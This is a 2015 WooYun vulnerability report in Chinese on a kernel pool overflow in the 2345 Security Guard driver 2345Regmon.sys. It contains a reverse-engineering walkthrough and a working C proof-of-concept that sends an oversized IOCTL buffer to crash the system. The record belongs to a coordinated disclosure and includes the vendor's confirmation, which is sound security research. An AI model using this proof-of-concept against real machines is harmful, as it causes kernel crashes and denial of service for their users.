当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099569

漏洞标题:2345安全卫士驱动内存破坏

相关厂商:2345网址导航

漏洞作者: 小马宝利

提交时间:2015-03-10 12:22

修复时间:2015-06-09 17:12

公开时间:2015-06-09 17:12

漏洞类型:拒绝服务

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-10: 细节已通知厂商并且等待厂商处理中
2015-03-11: 厂商已经确认,细节仅向厂商公开
2015-03-14: 细节向第三方安全合作伙伴开放
2015-05-05: 细节向核心白帽子及相关领域专家公开
2015-05-15: 细节向普通白帽子公开
2015-05-25: 细节向实习白帽子公开
2015-06-09: 细节向公众公开

简要描述:

2345安全卫士某驱动存在内存破坏型bug。

详细说明:

2345Regmon.sys中ControlCode为0x222058的处理逻辑中存在一个内核paged pool溢出。
这个ControlCode的处理逻辑中存在一个将参数中的ansi字符串转存到内核申请的内存中的过程。
处理流程如下:
首先将InputBuffer中的某些部分作为字符串创建AnsiString。然后调用一个处理函数,就是这个函数中触发了漏洞。

0.png


可以看出VulFunc函数接受了3个参数,分别是[InBuffer+0x8], 0, 一个从Inbuffer中转换过来的AnsiString。
下面分析VulFunc函数,

2.png


函数首先调用AllocSome申请了两段内存。

1.png


申请了两块固定大小的内存,分别为0x48c字节的Buf1和0x258字节的Buf2。Buf2存放在[Buf1+0x18]处。
然后将参数3转换成UnicodeString。

3.png


用参数3转换的UnicodeString的长度和指针填充了Buf1中的部分域,然后由于参数2为0,所以直接跳转到loc_1f56a执行,调用VulFunc2。
然后VulFunc2中又调用了VulFunc3最终调用了导致这次溢出的罪魁祸首vulTriger

5.png


6.png


这里我要说一下。。我是第一次调这种类型的东西,这个溢出位置是我在调试出出错的池是Buf2所在的池后用!pool 调用一个函数就测试一下pool是否损坏了。一点一点查出来了。不知道有没有什么更简单的办法。
仔细观察一下vulTriger其实是一个字符串拷贝,将上面提到的由inBuffer中转换来的UnicodeString的字符串拷贝到Buf2中。
就是这个拷贝操作溢出了,BUF2是固定长度的但是UnicodeString没有限制长度,超出了BUF2的长度。
另外。其实不少地方都没判断好用户层发送过来的数据长度(或者偏移??),只不过别的可能是越界读。
我是菜鸟就不探究具体能不能利用了。
就酱。。有点晚了。VulFunc3函数里其实我没仔细分析。具体的长度和目的缓冲区好像还有个计算过程。不过应该没啥问题铁定是这能溢出。实测结果就是给BUF2拷贝7XXX个字符。

漏洞证明:

void PocRegMon(DWORD controlCode)
{
char strCode[1024];
HANDLE hDev = OpenDevice(_T("\\\\.\\2345RegMon"));
if (hDev == INVALID_HANDLE_VALUE) {
printf("[-] Open device failed!gle:%d\n", GetLastError());
return;
}
char buffer1[0x10000] = { 0 };
char buffer2[1024] = { 0 };
memset(buffer1, 0xcc, sizeof(buffer1));
buffer1[2] = 0x10;
buffer1[3] = 0;
buffer1[0] = 0;
buffer1[1] = 0;
buffer1[0x34] = 0x1c;
buffer1[0x32] = 0xff;
buffer1[0x33] = 0xff;
buffer1[0x30] = 0xff;
buffer1[0x31] = 0xff;
wsprintfA(strCode, "%x\n", controlCode);
OutputDebugStringA(strCode);
printf(strCode);
int ret = SendMessageToDev(hDev, controlCode, (BYTE *)buffer1, 0x10000, (BYTE*)buffer2, 0x100);
if (ret < 0) {
printf("[-]Control device failed, gle:%d.\n", GetLastError());
return;
}
CloseDevice(hDev);
printf("[*]Ok!\n");
return;
}
int _tmain(int argc, _TCHAR* argv[])
{
PocRegMon(0x222058);
return 0;
}


修复方案:

做好判读。。

版权声明:转载请注明来源 小马宝利@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-03-11 17:10

厂商回复:

已确认,漏洞我们会尽快修复,感谢您对2345的关注

最新状态:

暂无